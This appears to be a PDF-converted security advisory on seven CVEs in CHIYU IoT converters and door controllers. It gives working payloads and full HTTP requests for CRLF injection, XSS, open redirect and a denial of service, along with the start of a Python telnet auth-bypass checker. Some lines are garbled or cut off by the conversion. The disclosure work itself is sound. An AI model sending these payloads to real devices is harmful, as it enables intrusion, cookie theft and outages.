CHIYU IoT devices

Vulnerabilities found on IoT devices from CHIYU.

CVE-2021-31249



✓ Title: CRLF injection in CHIYU BF-430, BF-431, and BF-450M TCP/IP Converter devices

Vulnerability: CRLF injection CVE ID: CVE-2021-31249

CVSS: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.

Affected parameter: redirect= Component: all the CGI components

Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>

Payload

setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>

HTTP request

Host: 192.168.187.12

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Referer: http://192.168.187.12/manage.htm

Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1

HTTP response

HTTP/1.1 302 Found Location: setting.htm

<script>alert(document.domain)</script>

Content-Length: 0 Content-Type: text/html

ExploitDB: https://www.exploit-db.com/exploits/49923

CHIYU TCP/IP Converter devices - CRLF injection Exploit Database

 $nuclei-templates/CVE-2021-31249.yaml\ at\ master\cdot project discovery/nuclei-templates$

Red Teaming and Malware Analysis

CVE-2021-31250



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CVE ID: CVE-2021-31250

 $\textbf{CVSS}\text{:}\ \mathsf{Medium}\text{-}\mathsf{CVSS}\text{:}3.1/\mathsf{AV}\text{:}\mathsf{N}/\mathsf{AC}\text{:}\mathsf{L}/\mathsf{PR}\text{:}\mathsf{L}/\mathsf{UI}\text{:}\mathsf{N}/\mathsf{S}\text{:}\mathsf{C}/\mathsf{C}\text{:}\mathsf{L}/\mathsf{I}\text{:}\mathsf{N}/\mathsf{A}\text{:}\mathsf{N}$

Multiple storage XSS vulnerabilities were discovered on BF-430, BF-431 and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, ppp.cgi.

To exploit this vulnerability, an attacker can inject a specially crafted XSS payload on several CGI components to obtain sensitive information from the end-user such as session cookies, or redirect it to a malicious web page.

Proof-of-Concept: 01

Affected parameter: TF_submask

Component: if.cgi

Payload: "><script>alert(123)</script>

HTTP request:

GET /if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%2

Host: 192.168.187.12

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

 $Accept: \ text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8$

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Referer: http://192.168.187.12/ap_tcps.htm

Authorization: Basic OmFkbWlu Connection: close

Upgrade-Insecure-Requests: 1

HTTP response:

Proof-of-Concept: 02

Affected parameter: TF_hostname=

Component: dhcpc.cgi
Payload: /">

HTTP request and response:

 ${\tt GET\ /dhcpc.cgi?redirect=setting.htm\&failure=fail.htm\&type=dhcpc_apply\&TF_hostname=\%2F\%22\%3E\%3Cimg+src\%3D\%apple.pdf.}$

Host: 192.168.187.12

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Referer: http://192.168.187.12/wan_dc.htm

Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1

Proof-of-Concept: 03

Affected parameter: TF_servicename=

Component: ppp.cgi

Payload: "><script>alert(123)</script>

HTTP request:

GET /ppp.cgi?redirect=setting.htm&failure=fail.htm&type=ppp_apply&TF_username=admin&TF_password=admin&TF_ Host: 192.168.187.143 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.143/wan_pe.htm

Authorization: Basic OmFkbWlu Connection: close

Upgrade-Insecure-Requests: 1



HTTP response

Proof-of-Concept: 04

Affected parameter: TF_port= Component: man.cgi Payload: /">

HTTP request:

 $\label{lem:GET manacgi?redirect=setting.htm&failure=fail.htm\&type=dev_name_apply\&http_block=0\&TF_ip0=192\&TF_ip1=168 \\ \mbox{Host: } 192.168.187.12 \\ \mbo$

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Referer: http://192.168.187.12/manage.htm

Authorization: Basic OmFkbWlu

Connection: close

Upgrade-Insecure-Requests: 1

HTTP response:

ExploitDB: https://www.exploit-db.com/exploits/49922

CHIYU IoT devices - 'Multiple' Cross-Site Scripting (XSS) Exploit Database

 $nuclei-templates/CVE-2021-31250.yaml\ at\ master\cdot project discovery/nuclei-templates$ GitHub

Impact: The attacker places their exploit into the application itself and simply waits for users to encounter it.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

CVE-2021-31251

☑ Title: Telnet auth bypass in CHIYU IoT devices allowing to obtain administrative privileges

Vulnerability: Authentication bypass

CVE ID: CVE-2021-31251 **SSV-ID**: SSV-99267

CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication $process\ due\ to\ an\ overflow\ during\ the\ negotiation\ of\ the\ telnet\ protocol.\ Telnet\ authentication\ is\ by passed\ by\ supplying\ a$ specially malformed request, and an attacker may force the remote telnet server to believe that the user has already $authenticated. \ Several \ models \ are \ vulnerable, including \ BF-430, BF-450M, and \ SEMAC \ with \ the \ most \ recent \ firmware$

We can see in the next image the normal workflow with the authentication banner (left-side), and the exploited scenario with the configuration menu (right-side). In detail, when the telnet tries to negotiate the telnet states with the client-side, it fails - at the~4~TCP~request~-~and~the~loT~device~jumps~to~the~next~state~and~believes~that~the~user~has~already~authenticated.

In order to verify if this condition is also present on other devices, a PoC was created and the results can be observed below. On the left side, we can see a lot of devices vulnerable obtained by using the checker, and on the right-side the vulnerability confirmation using the exploit.



Impact: Accessing remotely any device bypassing telnet authentication protocol.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability. In this new version, the telnet service was disabled in order to solve this issue.



(i) Regarding CVE-2021-31251, it explains about the CHIYU serial converts & SEMAC door control panel has a security

Because the telnet is able to connect with the device.

For this reason, CHIYU would like to include below the measures to fix the problem.

From now, all of the shipment has the latest firmware.

The firmware will close telnet.

if you want to upgrade your converter's firmware, please contact CHIYU for upgrading.

Checker and Exploit

01 1	F 1 1	D.O. 11	
Checker	Exploit	PoCsuite	

```
# Exploit Title: (Checker) - Telnet auth bypass in CHIYU IoT devices allowing to obtain administration {\sf Telnet} and {\sf 
  # Date: June 01 2021
  # Exploit Author: sirpedrotavares
  # Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
 # Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BF-430, BF-431, BF-450M, and SEMAC \, - all firmware versions < June 2021 # Tested on: BF-430, BF-431, BF-459M, and SEMAC
 #CVE: CVE-2021-31251
  \verb|#Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remoted and the statement of the statement o
 Description: Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permi
 CVE ID: CVE-2021-31251
 CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
 #!/usr/bin/env python3
 #usage : python3 checker.py -t IP
  #usage1: python3 checker.py -f target.txt
 import socket
  import time
  import sys
 def checker(HOST, PORT):
                    socket.setdefaulttimeout(10)
                     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

CVE-2021-31252

✓ Title: Open redirect vulnerability in CHIYU IoT devices

Vulnerability: Open Redirect CVE ID: CVE-2021-31252

CVSS: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N

An open redirect vulnerability exists in BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, and SEMAC devices from CHIYU Technology that can be exploited by sending a link that has a specially crafted URL to convince the user to click

To exploit this vulnerability, an attacker can inject an arbitrary URL and convince the end-user to click on the link redirecting it to a page with malicious content. All the CGI components are affected by this flaw.

Affected parameter: redirect=

Component: all the CGI components (if.cgi, man.cgi, etc) Payload: redirect=http://127.0.0.1/exploit.htm

HTTP request

```
GET /if.cgi?redirect=http://192.168.187.201/exploit.htm&failure=fail.htm&type=serial_apply&S_type=2&S_bau
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/serial.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1
```

Impact: Open Redirect is due to the improper sanitization of input that can be used to redirect users to external websites.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

CVE-2021-31641



✓ Title: Unauthenticated XSS in several CHIYU IoT devices

Vulnerability: Reflected XSS CVE ID: CVE-2021-31641

 $\textbf{CVSS}\text{:}\ \mathsf{Medium}\text{-}\mathsf{CVSS}\text{:}3.1/\mathsf{AV}\text{:}\mathsf{N}/\mathsf{AC}\text{:}\mathsf{L}/\mathsf{PR}\text{:}\mathsf{N}/\mathsf{UI}\text{:}\mathsf{R}/\mathsf{S}\text{:}\mathsf{C}/\mathsf{C}\text{:}\mathsf{L}/\mathsf{I}\text{:}\mathsf{N}/\mathsf{A}\text{:}\mathsf{N}$

An unauthenticated XSS vulnerability exists in several IoT devices from CHIYU Technology, including BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC. The vulnerability was observed also on more recent firmware

Component: any argument passed via URL that results in an HTTP-404

Payload: http://ip/<script>alert(123)</script>

HTTP request

HTTP response

ExploitDB: https://www.exploit-db.com/exploits/49922

CHIYU IoT devices - 'Multiple' Cross-Site Scripting (XSS) Exploit Database

Impact: This vulnerability is due to the improper sanitization of input when the HTTP-404 page is presented and that can be abused to redirect users to external websites.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

CVE-2021-31642



✓ Title: Denial of Service in several CHIYU IoT devices affecting the web-portal

Vulnerability: Integer overflow CVE ID: CVE-2021-31642

CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including RIOSENSE Wahnacs and RE-630 RE-631 and SEMAC The uninerability can be explored by conding an unexpected integer (>

Affected parameter: page= Component: if.cgi

Payload: if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

HTTP request

GET /if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0

 $\label{eq:accept:text/html,application/xhtml+xml,application/xml; q=0.9, image/webp, */*; q=0.8 \\$

Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3

Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4=

Connection: close

Referer: http://127.0.0.1/AccLog.htm

Cookie: fresh=

Upgrade-Insecure-Requests: 1

HTTP response

After the request, the web portal will be unavailable until a device reboot.

ExploitDB: https://www.exploit-db.com/exploits/49937

CHIYU IoT Devices - Denial of Service (DoS)

Exploit Database

Impact: Device crash and web portal unavailable.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

CVE-2021-31643



Title: Stored XSS in CHIYU SEMAC, BF-630, BF-631, and Webpass IoT devices

Vulnerability: Stored XSS CVE ID: CVE-2021-31643

CVSS: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

A storage XSS flaw was discovered on SEMAC, Biosense, BF-631, BF-631, and Webpass IoT devices from CHIYU Technology Inc due to a lack of sanitization of the input on the component if.cgi - username parameter.

To exploit this vulnerability, an attacker can inject a specially crafted XSS payload on the if.cgi component to obtain sensitive information from the end-user such as session cookies, or redirect it to a malicious web page.

Affected parameter: username=

Component: if.cgi

Payload: "><script>alert(1)</script>

HTTP request

HTTP response - SFMAC Web Ver7.2

GET /if.cgi?redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=0000&MarkID=0000&C Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

 $\label{eq:accept-Language:pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3} Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3$

Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= Connection: close Referer: http://127.0.0.1/EmpRcd.htm Cookie: fresh=; remote=00000000

Upgrade-Insecure-Requests: 1



HTTP response - BIOSENSE-III-COMBO(M1)(20000)

 ${\tt GET\ /if.cgi?redirect=EmpRcd.htm\&failure=fail.htm\&type=user_data\&creg=0\&num=\&EmployeeID=3\&MarkID=3474\&Carder and all the actions of the control of the$

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0

 $Accept: \ text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, */*; q=0.8 \\$

Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3

Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=

Connection: close

Referer: http://127.0.0.1/EmpRcd.htm

Cookie: fresh=

Upgrade-Insecure-Requests: 1



ExploitDB: https://www.exploit-db.com/exploits/49922

CHIYU IoT devices - 'Multiple' Cross-Site Scripting (XSS)

Exploit Database

Impact: The attacker places their exploit into the application itself and simply waits for users to encounter it.

Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.

References

Solve CVE-2021-31251 for BF-430/ BF-431/ BF-450M/ SEMAC

Dancing in the IoT: CHIYU devices vulnerable to remote attacks

Segurança Informática

CHIYU IoT devices - 'Multiple' Cross-Site Scripting (XSS)

Exploit Database

CHIYU TCP/IP Converter devices - CRLF injection

Exploit Database

CHIYU IoT Devices - 'Telnet' Authentication Bypass

Exploit Database

CHIYU IoT Devices - Denial of Service (DoS)

Exploit Database

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